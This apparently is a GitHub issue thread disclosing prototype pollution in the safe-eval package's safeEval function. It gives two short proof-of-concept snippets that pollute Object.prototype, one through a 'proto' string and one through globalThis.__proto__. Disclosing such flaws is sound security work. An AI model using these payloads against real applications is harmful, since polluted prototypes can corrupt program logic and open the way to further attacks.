Prototype pollution in function safeEval in the file index.js

[lelecolacola123]

Affected versions of this package are vulnerable to Prototype Pollution which can allow an attacker to add/modify properties of the Object.prototype.Consolidate runs the risk of Prototype Pollution when using the function safeEval.The function use vm lead an attacker to modify properties of the Object.prototype.the risk locate is in here https://github.com/hacksparrow/safe-eval/blob/23319e33f96b59ce547c847137ad751878dcbbd4/index.js#L24 and the POC is as follow： var unsafe= require("safe-eval") console.log({}.test) //undefined unsafe("proto.test=123") console.log({}.test) //123

[rectcoordsystem]

We also founded Prototype Pollution vulnerability

POC :

var safeEval = require('safe-eval')

let code = `
(function() { 
    let ret = globalThis;
    ret.__proto__.polluted = "ret.__proto__.polluted";
})()
`
safeEval(code);

const polluted_result = {}["polluted"];
console.log(polluted_result); // ret.__proto__.polluted